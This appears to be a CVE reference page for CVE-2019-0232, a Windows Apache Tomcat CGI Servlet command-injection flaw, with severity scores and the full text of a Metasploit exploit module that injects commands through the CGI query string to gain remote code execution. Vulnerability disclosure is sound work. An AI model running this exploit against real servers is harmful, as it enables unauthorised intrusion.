CVE-2019-0232 Detail

CVE-2019-0232

Score / Severity

8.1

High

CVE Descriptions

When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https://web.archive.org/web/20161228144344/https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	8.1	HIGH	CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. High A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 47073

Publication date : 2019-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yakov Shafranovich', # Original discovery 'sinn3r' # Metasploit module ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Apache Tomcat 9.0 or prior for Windows', { } ] ], 'References' => [ ['CVE', '2019-0232'], ['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'], ['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/'] ], 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'CmdStagerFlavor' => 'vbs', 'DefaultOptions' => { 'RPORT' => 8080 }, 'Privileged' => false, 'DisclosureDate' => 'Apr 10 2019', # Date of public advisory issued by the vendor 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/']) ]) register_advanced_options( [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) deregister_options('SRVHOST', 'SRVPORT', 'URIPATH') end def check sig = Rex::Text.rand_text_alpha(10) uri = normalize_uri(target_uri.path) uri << "?&echo+#{sig}" res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res vprint_error('No Response from server') return CheckCode::Unknown end if res.body.include?(sig) return CheckCode::Vulnerable end CheckCode::Safe end def execute_command(cmd, opts={}) # Our command stager assumes we have access to environment variables. # We don't necessarily have that, so we have to modify cscript to a full path. cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe') uri = normalize_uri(target_uri.path) uri << "?&#{CGI.escape(cmd)}" res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res fail_with(Failure::Unreachable, 'No response from server') end unless res.code == 200 fail_with(Failure::Unknown, "Unexpected server response: #{res.code}") end end # it seems we don't really have a way to retrieve the filenames from the VBS command stager, # so we need to rely on the user to cleanup the files. def on_new_session(cli) print_warning('Make sure to manually cleanup the exe generated by the exploit') super end def exploit print_status("Checking if #{rhost} is vulnerable") unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.') end print_warning('Target does not appear to be vulnerable.') end print_status("#{rhost} seems vulnerable, what a good day.") execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000) end end